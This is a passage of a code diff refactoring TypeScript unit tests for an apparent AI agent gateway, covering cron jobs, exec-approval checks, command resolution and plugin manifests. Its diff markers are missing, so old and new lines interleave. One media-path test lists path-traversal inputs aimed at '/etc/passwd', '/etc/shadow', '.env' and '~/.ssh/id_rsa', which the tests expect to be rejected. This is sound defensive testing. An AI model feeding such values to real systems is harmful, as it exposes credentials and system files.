expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow(
'cron: sessionTarget "main" is only valid for the default agent',
);
});
it("rejects main-session job for non-default agent even without explicit defaultAgentId", () => {
const state = createMockState(now);
expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow(
it.each([
{ name: "non-default agentId", defaultAgentId: "main", agentId: "custom-agent" },
{ name: "missing defaultAgentId", defaultAgentId: undefined, agentId: "custom-agent" },
] as const)("rejects creating a main-session job for $name", ({ defaultAgentId, agentId }) => {
const state = createMockState(now, defaultAgentId ? { defaultAgentId } : undefined);
expect(() => createJob(state, mainJobInput(agentId))).toThrow(
'cron: sessionTarget "main" is only valid for the default agent',
);
});
@@ -478,22 +417,19 @@ describe("applyJobPatch rejects sessionTarget main for non-default agents", () =
agentId,
});
it("rejects patching agentId to non-default on a main-session job", () => {
it.each([
{ name: "rejects patching agentId to non-default", agentId: "custom-agent", shouldThrow: true },
{ name: "allows patching agentId to the default agent", agentId: "main", shouldThrow: false },
] as const)("$name on a main-session job", ({ agentId, shouldThrow }) => {
const job = createMainJob();
expect(() =>
applyJobPatch(job, { agentId: "custom-agent" } as CronJobPatch, {
defaultAgentId: "main",
}),
).toThrow('cron: sessionTarget "main" is only valid for the default agent');
});
it("allows patching agentId to the default agent on a main-session job", () => {
const job = createMainJob();
expect(() =>
applyJobPatch(job, { agentId: "main" } as CronJobPatch, {
defaultAgentId: "main",
}),
).not.toThrow();
const patch = { agentId } as CronJobPatch;
if (shouldThrow) {
expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).toThrow(
'cron: sessionTarget "main" is only valid for the default agent',
);
return;
}
expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).not.toThrow();
});
});

View File

@@ -8,25 +8,54 @@ import {
} from "./exec-approval-reply.js";
describe("exec approval reply helpers", () => {
const invalidReplyMetadataCases = [
{ name: "empty object", payload: {} },
{ name: "null channelData", payload: { channelData: null } },
{ name: "array channelData", payload: { channelData: [] } },
{ name: "null execApproval", payload: { channelData: { execApproval: null } } },
{ name: "array execApproval", payload: { channelData: { execApproval: [] } } },
{
name: "blank approval slug",
payload: { channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } },
},
{
name: "blank approval id",
payload: { channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } },
},
] as const;
const unavailableReasonCases = [
{
reason: "initiating-platform-disabled" as const,
channelLabel: "Slack",
expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.",
},
{
reason: "initiating-platform-unsupported" as const,
channelLabel: undefined,
expected:
"Exec approval is required, but this platform does not support chat exec approvals.",
},
{
reason: "no-approval-route" as const,
channelLabel: undefined,
expected:
"Exec approval is required, but no interactive approval client is currently available.",
},
] as const;
it("returns the approver DM notice text", () => {
expect(getExecApprovalApproverDmNoticeText()).toBe(
"Approval required. I sent the allowed approvers DMs.",
);
});
it("returns null for invalid reply metadata payloads", () => {
for (const payload of [
{},
{ channelData: null },
{ channelData: [] },
{ channelData: { execApproval: null } },
{ channelData: { execApproval: [] } },
{ channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } },
{ channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } },
] as unknown[]) {
it.each(invalidReplyMetadataCases)(
"returns null for invalid reply metadata payload: $name",
({ payload }) => {
expect(getExecApprovalReplyMetadata(payload as ReplyPayload)).toBeNull();
}
});
},
);
it("normalizes reply metadata and filters invalid decisions", () => {
expect(
@@ -100,7 +129,7 @@ describe("exec approval reply helpers", () => {
expect(payload.text).toContain("Expires in: 0s");
});
it("builds unavailable payloads for approver DMs and each fallback reason", () => {
it("builds unavailable payloads for approver DMs", () => {
expect(
buildExecApprovalUnavailableReplyPayload({
warningText: " Careful. ",
@@ -110,34 +139,17 @@ describe("exec approval reply helpers", () => {
).toEqual({
text: "Careful.\n\nApproval required. I sent the allowed approvers DMs.",
});
});
const cases = [
{
reason: "initiating-platform-disabled" as const,
channelLabel: "Slack",
expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.",
},
{
reason: "initiating-platform-unsupported" as const,
channelLabel: undefined,
expected:
"Exec approval is required, but this platform does not support chat exec approvals.",
},
{
reason: "no-approval-route" as const,
channelLabel: undefined,
expected:
"Exec approval is required, but no interactive approval client is currently available.",
},
];
for (const testCase of cases) {
it.each(unavailableReasonCases)(
"builds unavailable payload for reason $reason",
({ reason, channelLabel, expected }) => {
expect(
buildExecApprovalUnavailableReplyPayload({
reason: testCase.reason,
channelLabel: testCase.channelLabel,
reason,
channelLabel,
}).text,
).toContain(testCase.expected);
}
});
).toContain(expected);
},
);
});

View File

@@ -254,27 +254,22 @@ describe("exec approvals safe bins", () => {
},
];
for (const testCase of cases) {
it(testCase.name, () => {
if (process.platform === "win32") {
return;
}
const cwd = testCase.cwd ?? makeTempDir();
testCase.setup?.(cwd);
const executableName = testCase.executableName ?? "jq";
const rawExecutable = testCase.rawExecutable ?? executableName;
const ok = isSafeBinUsage({
argv: testCase.argv,
resolution: {
rawExecutable,
resolvedPath: testCase.resolvedPath,
executableName,
},
safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]),
});
expect(ok).toBe(testCase.expected);
it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => {
const cwd = testCase.cwd ?? makeTempDir();
testCase.setup?.(cwd);
const executableName = testCase.executableName ?? "jq";
const rawExecutable = testCase.rawExecutable ?? executableName;
const ok = isSafeBinUsage({
argv: testCase.argv,
resolution: {
rawExecutable,
resolvedPath: testCase.resolvedPath,
executableName,
},
safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]),
});
}
expect(ok).toBe(testCase.expected);
});
it("supports injected trusted safe-bin dirs for tests/callers", () => {
if (process.platform === "win32") {

View File

@@ -312,73 +312,75 @@ describe("exec-command-resolution", () => {
).toBeUndefined();
});
it("keeps execution and policy targets coherent across wrapper classes", () => {
if (process.platform === "win32") {
return;
}
const dir = makeTempDir();
const binDir = path.join(dir, "bin");
fs.mkdirSync(binDir, { recursive: true });
const envPath = path.join(binDir, "env");
const rgPath = path.join(binDir, "rg");
const busybox = path.join(dir, "busybox");
const resolvedShPath = fs.realpathSync("/bin/sh");
for (const file of [envPath, rgPath, busybox]) {
fs.writeFileSync(file, "");
fs.chmodSync(file, 0o755);
}
const cases = [
{
name: "transparent env wrapper",
argv: [envPath, "rg", "-n", "needle"],
env: makePathEnv(binDir),
expectedExecutionPath: rgPath,
expectedPolicyPath: rgPath,
expectedPlannedArgv: [fs.realpathSync(rgPath), "-n", "needle"],
allowlistPattern: rgPath,
allowlistSatisfied: true,
},
{
name: "busybox shell multiplexer",
argv: [busybox, "sh", "-lc", "echo hi"],
env: { PATH: `${binDir}${path.delimiter}/bin:/usr/bin` },
expectedExecutionPath: "/bin/sh",
expectedPolicyPath: busybox,
expectedPlannedArgv: [resolvedShPath, "-lc", "echo hi"],
allowlistPattern: busybox,
allowlistSatisfied: true,
},
{
name: "semantic env wrapper",
argv: [envPath, "FOO=bar", "rg", "-n", "needle"],
env: makePathEnv(binDir),
expectedExecutionPath: envPath,
expectedPolicyPath: envPath,
expectedPlannedArgv: null,
allowlistPattern: envPath,
allowlistSatisfied: false,
},
{
name: "wrapper depth overflow",
argv: buildNestedEnvShellCommand({
it.runIf(process.platform !== "win32").each([
{
name: "transparent env wrapper",
argvFactory: ({ envPath }: { envPath: string }) => [envPath, "rg", "-n", "needle"],
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
expectedExecutionPathFactory: ({ rgPath }: { rgPath: string }) => rgPath,
expectedPolicyPathFactory: ({ rgPath }: { rgPath: string }) => rgPath,
expectedPlannedArgvFactory: ({ rgPath }: { rgPath: string }) => [
fs.realpathSync(rgPath),
"-n",
"needle",
],
allowlistPatternFactory: ({ rgPath }: { rgPath: string }) => rgPath,
allowlistSatisfied: true,
},
{
name: "busybox shell multiplexer",
argvFactory: ({ busybox }: { busybox: string }) => [busybox, "sh", "-lc", "echo hi"],
envFactory: ({ binDir }: { binDir: string }) => ({
PATH: `${binDir}${path.delimiter}/bin:/usr/bin`,
}),
expectedExecutionPathFactory: () => "/bin/sh",
expectedPolicyPathFactory: ({ busybox }: { busybox: string }) => busybox,
expectedPlannedArgvFactory: () => [fs.realpathSync("/bin/sh"), "-lc", "echo hi"],
allowlistPatternFactory: ({ busybox }: { busybox: string }) => busybox,
allowlistSatisfied: true,
},
{
name: "semantic env wrapper",
argvFactory: ({ envPath }: { envPath: string }) => [envPath, "FOO=bar", "rg", "-n", "needle"],
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath,
expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath,
expectedPlannedArgvFactory: () => null,
allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath,
allowlistSatisfied: false,
},
{
name: "wrapper depth overflow",
argvFactory: ({ envPath }: { envPath: string }) =>
buildNestedEnvShellCommand({
envExecutable: envPath,
depth: 5,
payload: "echo hi",
}),
env: makePathEnv(binDir),
expectedExecutionPath: envPath,
expectedPolicyPath: envPath,
expectedPlannedArgv: null,
allowlistPattern: envPath,
allowlistSatisfied: false,
},
] as const;
for (const testCase of cases) {
const argv = [...testCase.argv];
const resolution = resolveCommandResolutionFromArgv(argv, dir, testCase.env);
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath,
expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath,
expectedPlannedArgvFactory: () => null,
allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath,
allowlistSatisfied: false,
},
] as const)(
"keeps execution and policy targets coherent across wrapper classes: $name",
(testCase) => {
const dir = makeTempDir();
const binDir = path.join(dir, "bin");
fs.mkdirSync(binDir, { recursive: true });
const envPath = path.join(binDir, "env");
const rgPath = path.join(binDir, "rg");
const busybox = path.join(dir, "busybox");
for (const file of [envPath, rgPath, busybox]) {
fs.writeFileSync(file, "");
fs.chmodSync(file, 0o755);
}
const fixture = { binDir, envPath, rgPath, busybox } as const;
const argv = [...testCase.argvFactory(fixture)];
const env = testCase.envFactory(fixture);
const resolution = resolveCommandResolutionFromArgv(argv, dir, env);
const segment = {
raw: argv.join(" "),
argv,
@@ -388,24 +390,24 @@ describe("exec-command-resolution", () => {
name: testCase.name,
resolution,
cwd: dir,
expectedExecutionPath: testCase.expectedExecutionPath,
expectedPolicyPath: testCase.expectedPolicyPath,
expectedExecutionPath: testCase.expectedExecutionPathFactory(fixture),
expectedPolicyPath: testCase.expectedPolicyPathFactory(fixture),
});
expect(resolvePlannedSegmentArgv(segment), `${testCase.name} planned argv`).toEqual(
testCase.expectedPlannedArgv,
testCase.expectedPlannedArgvFactory(fixture),
);
const evaluation = evaluateExecAllowlist({
analysis: { ok: true, segments: [segment] },
allowlist: [{ pattern: testCase.allowlistPattern }],
allowlist: [{ pattern: testCase.allowlistPatternFactory(fixture) }],
safeBins: normalizeSafeBins([]),
cwd: dir,
env: testCase.env,
env,
});
expect(evaluation.allowlistSatisfied, `${testCase.name} allowlist`).toBe(
testCase.allowlistSatisfied,
);
}
});
},
);
it("normalizes argv tokens for short clusters, long options, and special sentinels", () => {
expect(parseExecArgvToken("")).toEqual({ kind: "empty", raw: "" });

View File

@@ -8,11 +8,13 @@ import {
} from "./payload.js";
describe("hasReplyChannelData", () => {
it("accepts non-empty objects only", () => {
expect(hasReplyChannelData(undefined)).toBe(false);
expect(hasReplyChannelData({})).toBe(false);
expect(hasReplyChannelData([])).toBe(false);
expect(hasReplyChannelData({ slack: { blocks: [] } })).toBe(true);
it.each([
{ value: undefined, expected: false },
{ value: {}, expected: false },
{ value: [], expected: false },
{ value: { slack: { blocks: [] } }, expected: true },
] as const)("accepts non-empty objects only: %j", ({ value, expected }) => {
expect(hasReplyChannelData(value)).toBe(expected);
});
});
@@ -28,20 +30,24 @@ describe("hasReplyContent", () => {
).toBe(false);
});
it("accepts shared interactive blocks and explicit extra content", () => {
expect(
hasReplyContent({
it.each([
{
name: "shared interactive blocks",
input: {
interactive: {
blocks: [{ type: "buttons", buttons: [{ label: "Retry", value: "retry" }] }],
},
}),
).toBe(true);
expect(
hasReplyContent({
},
},
{
name: "explicit extra content",
input: {
text: " ",
extraContent: true,
}),
).toBe(true);
},
},
] as const)("accepts $name", ({ input }) => {
expect(hasReplyContent(input)).toBe(true);
});
});
@@ -55,28 +61,28 @@ describe("hasReplyPayloadContent", () => {
).toBe(true);
});
it("accepts explicit channel-data overrides and extra content", () => {
expect(
hasReplyPayloadContent(
{
text: " ",
channelData: {},
},
{
hasChannelData: true,
},
),
).toBe(true);
expect(
hasReplyPayloadContent(
{
text: " ",
},
{
extraContent: true,
},
),
).toBe(true);
it.each([
{
name: "explicit channel-data overrides",
payload: {
text: " ",
channelData: {},
},
options: {
hasChannelData: true,
},
},
{
name: "extra content",
payload: {
text: " ",
},
options: {
extraContent: true,
},
},
] as const)("accepts $name", ({ payload, options }) => {
expect(hasReplyPayloadContent(payload, options)).toBe(true);
});
});

View File

@@ -8,40 +8,31 @@ describe("splitMediaFromOutput", () => {
expect(result.text).toBe("Hello world");
});
it("accepts supported media path variants", () => {
const pathCases = [
["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"],
["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'],
["./screenshots/image.png", "MEDIA:./screenshots/image.png"],
["media/inbound/image.png", "MEDIA:media/inbound/image.png"],
["./screenshot.png", " MEDIA:./screenshot.png"],
["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"],
[
"/tmp/tts-fAJy8C/voice-1770246885083.opus",
"MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus",
],
["image.png", "MEDIA:image.png"],
] as const;
for (const [expectedPath, input] of pathCases) {
const result = splitMediaFromOutput(input);
expect(result.mediaUrls).toEqual([expectedPath]);
expect(result.text).toBe("");
}
it.each([
["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"],
["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'],
["./screenshots/image.png", "MEDIA:./screenshots/image.png"],
["media/inbound/image.png", "MEDIA:media/inbound/image.png"],
["./screenshot.png", " MEDIA:./screenshot.png"],
["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"],
["/tmp/tts-fAJy8C/voice-1770246885083.opus", "MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus"],
["image.png", "MEDIA:image.png"],
] as const)("accepts supported media path variant: %s", (expectedPath, input) => {
const result = splitMediaFromOutput(input);
expect(result.mediaUrls).toEqual([expectedPath]);
expect(result.text).toBe("");
});
it("rejects traversal and home-dir paths and strips them from output", () => {
const traversalCases = [
"MEDIA:../../../etc/passwd",
"MEDIA:../../.env",
"MEDIA:~/.ssh/id_rsa",
"MEDIA:~/Pictures/My File.png",
"MEDIA:./foo/../../../etc/shadow",
];
for (const input of traversalCases) {
const result = splitMediaFromOutput(input);
expect(result.mediaUrls, `should reject media: ${input}`).toBeUndefined();
expect(result.text, `should strip from text: ${input}`).toBe("");
}
it.each([
"MEDIA:../../../etc/passwd",
"MEDIA:../../.env",
"MEDIA:~/.ssh/id_rsa",
"MEDIA:~/Pictures/My File.png",
"MEDIA:./foo/../../../etc/shadow",
] as const)("rejects traversal and home-dir path: %s", (input) => {
const result = splitMediaFromOutput(input);
expect(result.mediaUrls).toBeUndefined();
expect(result.text).toBe("");
});
it("keeps audio_as_voice detection stable across calls", () => {

View File

@@ -314,68 +314,66 @@ describe("hardenApprovedExecutionPaths", () => {
},
];
for (const testCase of cases) {
it.runIf(process.platform !== "win32")(testCase.name, () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-"));
const oldPath = process.env.PATH;
let pathToken: PathTokenSetup | null = null;
if (testCase.withPathToken) {
const binDir = path.join(tmp, "bin");
fs.mkdirSync(binDir, { recursive: true });
const link = path.join(binDir, "poccmd");
fs.symlinkSync("/bin/echo", link);
pathToken = { expected: fs.realpathSync(link) };
process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`;
}
try {
if (testCase.mode === "build-plan") {
const prepared = buildSystemRunApprovalPlan({
command: testCase.argv,
cwd: tmp,
});
expect(prepared.ok).toBe(true);
if (!prepared.ok) {
throw new Error("unreachable");
}
expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken }));
if (testCase.expectedCmdText) {
expect(prepared.plan.commandText).toBe(testCase.expectedCmdText);
}
if (testCase.checkRawCommandMatchesArgv) {
expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv));
}
if ("expectedCommandPreview" in testCase) {
expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview);
}
return;
}
const hardened = hardenApprovedExecutionPaths({
approvedByAsk: true,
argv: testCase.argv,
shellCommand: testCase.shellCommand ?? null,
it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-"));
const oldPath = process.env.PATH;
let pathToken: PathTokenSetup | null = null;
if (testCase.withPathToken) {
const binDir = path.join(tmp, "bin");
fs.mkdirSync(binDir, { recursive: true });
const link = path.join(binDir, "poccmd");
fs.symlinkSync("/bin/echo", link);
pathToken = { expected: fs.realpathSync(link) };
process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`;
}
try {
if (testCase.mode === "build-plan") {
const prepared = buildSystemRunApprovalPlan({
command: testCase.argv,
cwd: tmp,
});
expect(hardened.ok).toBe(true);
if (!hardened.ok) {
expect(prepared.ok).toBe(true);
if (!prepared.ok) {
throw new Error("unreachable");
}
expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken }));
if (typeof testCase.expectedArgvChanged === "boolean") {
expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged);
expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken }));
if (testCase.expectedCmdText) {
expect(prepared.plan.commandText).toBe(testCase.expectedCmdText);
}
} finally {
if (testCase.withPathToken) {
if (oldPath === undefined) {
delete process.env.PATH;
} else {
process.env.PATH = oldPath;
}
if (testCase.checkRawCommandMatchesArgv) {
expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv));
}
fs.rmSync(tmp, { recursive: true, force: true });
if ("expectedCommandPreview" in testCase) {
expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview);
}
return;
}
});
}
const hardened = hardenApprovedExecutionPaths({
approvedByAsk: true,
argv: testCase.argv,
shellCommand: testCase.shellCommand ?? null,
cwd: tmp,
});
expect(hardened.ok).toBe(true);
if (!hardened.ok) {
throw new Error("unreachable");
}
expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken }));
if (typeof testCase.expectedArgvChanged === "boolean") {
expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged);
}
} finally {
if (testCase.withPathToken) {
if (oldPath === undefined) {
delete process.env.PATH;
} else {
process.env.PATH = oldPath;
}
}
fs.rmSync(tmp, { recursive: true, force: true });
}
});
const mutableOperandCases: RuntimeFixture[] = [
{
@@ -557,8 +555,9 @@ describe("hardenApprovedExecutionPaths", () => {
},
];
for (const runtimeCase of mutableOperandCases) {
it(`captures mutable ${runtimeCase.name} operands in approval plans`, () => {
it.each(mutableOperandCases)(
"captures mutable $name operands in approval plans",
(runtimeCase) => {
if (runtimeCase.skipOnWin32 && process.platform === "win32") {
return;
}
@@ -587,8 +586,8 @@ describe("hardenApprovedExecutionPaths", () => {
);
},
});
});
}
},
);
it("captures mutable shell script operands in approval plans", () => {
withScriptOperandPlanFixture(
@@ -601,22 +600,20 @@ describe("hardenApprovedExecutionPaths", () => {
);
});
for (const testCase of unsafeRuntimeInvocationCases) {
it(testCase.name, () => {
withFakeRuntimeBin({
binName: testCase.binName,
run: () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix));
try {
testCase.setup?.(tmp);
expectRuntimeApprovalDenied(testCase.command, tmp);
} finally {
fs.rmSync(tmp, { recursive: true, force: true });
}
},
});
it.each(unsafeRuntimeInvocationCases)("$name", (testCase) => {
withFakeRuntimeBin({
binName: testCase.binName,
run: () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix));
try {
testCase.setup?.(tmp);
expectRuntimeApprovalDenied(testCase.command, tmp);
} finally {
fs.rmSync(tmp, { recursive: true, force: true });
}
},
});
}
});
it("captures the real shell script operand after value-taking shell flags", () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-shell-option-value-"));

View File

@@ -83,6 +83,14 @@ function countDuplicateWarnings(registry: ReturnType<typeof loadPluginManifestRe
).length;
}
function hasPluginIdMismatchWarning(
registry: ReturnType<typeof loadPluginManifestRegistry>,
): boolean {
return registry.diagnostics.some((diagnostic) =>
diagnostic.message.includes("plugin id mismatch"),
);
}
function prepareLinkedManifestFixture(params: { id: string; mode: "symlink" | "hardlink" }): {
rootDir: string;
linked: boolean;
@@ -559,72 +567,28 @@ describe("loadPluginManifestRegistry", () => {
expect(countDuplicateWarnings(loadRegistry(candidates))).toBe(0);
});
it("accepts provider-style id hints without warning", () => {
it.each([
{ name: "provider-style", manifestId: "openai", idHint: "openai-provider" },
{ name: "plugin-style", manifestId: "brave", idHint: "brave-plugin" },
{ name: "sandbox-style", manifestId: "openshell", idHint: "openshell-sandbox" },
{
name: "media-understanding-style",
manifestId: "groq",
idHint: "groq-media-understanding",
},
] as const)("accepts $name id hints without warning", ({ manifestId, idHint }) => {
const dir = makeTempDir();
writeManifest(dir, { id: "openai", configSchema: { type: "object" } });
writeManifest(dir, { id: manifestId, configSchema: { type: "object" } });
const registry = loadRegistry([
createPluginCandidate({
idHint: "openai-provider",
rootDir: dir,
origin: "bundled",
}),
]);
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
false,
);
});
it("accepts plugin-style id hints without warning", () => {
const dir = makeTempDir();
writeManifest(dir, { id: "brave", configSchema: { type: "object" } });
const registry = loadRegistry([
createPluginCandidate({
idHint: "brave-plugin",
rootDir: dir,
origin: "bundled",
}),
]);
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
false,
);
});
it("accepts sandbox-style id hints without warning", () => {
const dir = makeTempDir();
writeManifest(dir, { id: "openshell", configSchema: { type: "object" } });
const registry = loadRegistry([
createPluginCandidate({
idHint: "openshell-sandbox",
rootDir: dir,
origin: "bundled",
}),
]);
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
false,
);
});
it("accepts media-understanding-style id hints without warning", () => {
const dir = makeTempDir();
writeManifest(dir, { id: "groq", configSchema: { type: "object" } });
const registry = loadRegistry([
createPluginCandidate({
idHint: "groq-media-understanding",
rootDir: dir,
origin: "bundled",
}),
]);
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
false,
);
expect(
hasPluginIdMismatchWarning(
loadSingleCandidateRegistry({
idHint,
rootDir: dir,
origin: "bundled",
}),
),
).toBe(false);
});
it("still warns for unrelated id hint mismatches", () => {

View File

@@ -25,10 +25,14 @@ describe("min-host-version", () => {
});
});
it("rejects invalid floor syntax", () => {
expect(validateMinHostVersion("2026.3.22")).toBe(MIN_HOST_VERSION_FORMAT);
expect(validateMinHostVersion(123)).toBe(MIN_HOST_VERSION_FORMAT);
expect(validateMinHostVersion(">=2026.3.22 garbage")).toBe(MIN_HOST_VERSION_FORMAT);
it.each(["2026.3.22", 123, ">=2026.3.22 garbage"] as const)(
"rejects invalid floor syntax: %p",
(minHostVersion) => {
expect(validateMinHostVersion(minHostVersion)).toBe(MIN_HOST_VERSION_FORMAT);
},
);
it("reports invalid floor syntax when checking host compatibility", () => {
expect(
checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: "2026.3.22" }),
).toEqual({
@@ -73,24 +77,16 @@ describe("min-host-version", () => {
});
});
it("accepts equal or newer hosts", () => {
expect(
checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: ">=2026.3.22" }),
).toEqual({
ok: true,
requirement: {
raw: ">=2026.3.22",
minimumLabel: "2026.3.22",
},
});
expect(
checkMinHostVersion({ currentVersion: "2026.4.0", minHostVersion: ">=2026.3.22" }),
).toEqual({
ok: true,
requirement: {
raw: ">=2026.3.22",
minimumLabel: "2026.3.22",
},
});
});
it.each(["2026.3.22", "2026.4.0"] as const)(
"accepts equal or newer hosts: %s",
(currentVersion) => {
expect(checkMinHostVersion({ currentVersion, minHostVersion: ">=2026.3.22" })).toEqual({
ok: true,
requirement: {
raw: ">=2026.3.22",
minimumLabel: "2026.3.22",
},
});
},
);
});

View File

@@ -83,20 +83,25 @@ describe("security/dm-policy-shared", () => {
expect(state.isMultiUserDm).toBe(false);
});
it("skips pairing-store reads when dmPolicy is allowlist", async () => {
await expectStoreReadSkipped({
provider: "demo-channel-a",
accountId: "default",
dmPolicy: "allowlist",
});
});
it("skips pairing-store reads when shouldRead=false", async () => {
await expectStoreReadSkipped({
provider: "demo-channel-b",
accountId: "default",
shouldRead: false,
});
it.each([
{
name: "dmPolicy is allowlist",
params: {
provider: "demo-channel-a",
accountId: "default",
dmPolicy: "allowlist" as const,
},
},
{
name: "shouldRead=false",
params: {
provider: "demo-channel-b",
accountId: "default",
shouldRead: false,
},
},
] as const)("skips pairing-store reads when $name", async ({ params }) => {
await expectStoreReadSkipped(params);
});
it("builds effective DM/group allowlists from config + pairing store", () => {
@@ -143,25 +148,27 @@ describe("security/dm-policy-shared", () => {
expect(pinnedOwner).toBe("u123");
});
it("does not infer pinned owner for wildcard/multi-owner/non-main scope", () => {
it.each([
{
name: "wildcard allowlist",
dmScope: "main" as const,
allowFrom: ["*"],
},
{
name: "multi-owner allowlist",
dmScope: "main" as const,
allowFrom: ["u123", "u456"],
},
{
name: "non-main scope",
dmScope: "per-channel-peer" as const,
allowFrom: ["u123"],
},
] as const)("does not infer pinned owner for $name", ({ dmScope, allowFrom }) => {
expect(
resolvePinnedMainDmOwnerFromAllowlist({
dmScope: "main",
allowFrom: ["*"],
normalizeEntry: (entry) => entry.trim(),
}),
).toBeNull();
expect(
resolvePinnedMainDmOwnerFromAllowlist({
dmScope: "main",
allowFrom: ["u123", "u456"],
normalizeEntry: (entry) => entry.trim(),
}),
).toBeNull();
expect(
resolvePinnedMainDmOwnerFromAllowlist({
dmScope: "per-channel-peer",
allowFrom: ["u123"],
dmScope,
allowFrom: [...allowFrom],
normalizeEntry: (entry) => entry.trim(),
}),
).toBeNull();
@@ -376,21 +383,30 @@ describe("security/dm-policy-shared", () => {
];
for (const channel of channels) {
for (const testCase of cases) {
for (const {
name,
isGroup,
dmPolicy,
groupPolicy,
allowFrom,
groupAllowFrom,
storeAllowFrom,
isSenderAllowed,
expectedDecision,
expectedReactionAllowed,
} of cases) {
const access = resolveDmGroupAccessWithLists({
isGroup: testCase.isGroup,
dmPolicy: testCase.dmPolicy,
groupPolicy: testCase.groupPolicy,
allowFrom: testCase.allowFrom,
groupAllowFrom: testCase.groupAllowFrom,
storeAllowFrom: testCase.storeAllowFrom,
isSenderAllowed: testCase.isSenderAllowed,
isGroup,
dmPolicy,
groupPolicy,
allowFrom,
groupAllowFrom,
storeAllowFrom,
isSenderAllowed,
});
const reactionAllowed = access.decision === "allow";
expect(access.decision, `[${channel}] ${testCase.name}`).toBe(testCase.expectedDecision);
expect(reactionAllowed, `[${channel}] ${testCase.name} reaction`).toBe(
testCase.expectedReactionAllowed,
);
expect(access.decision, `[${channel}] ${name}`).toBe(expectedDecision);
expect(reactionAllowed, `[${channel}] ${name} reaction`).toBe(expectedReactionAllowed);
}
}
});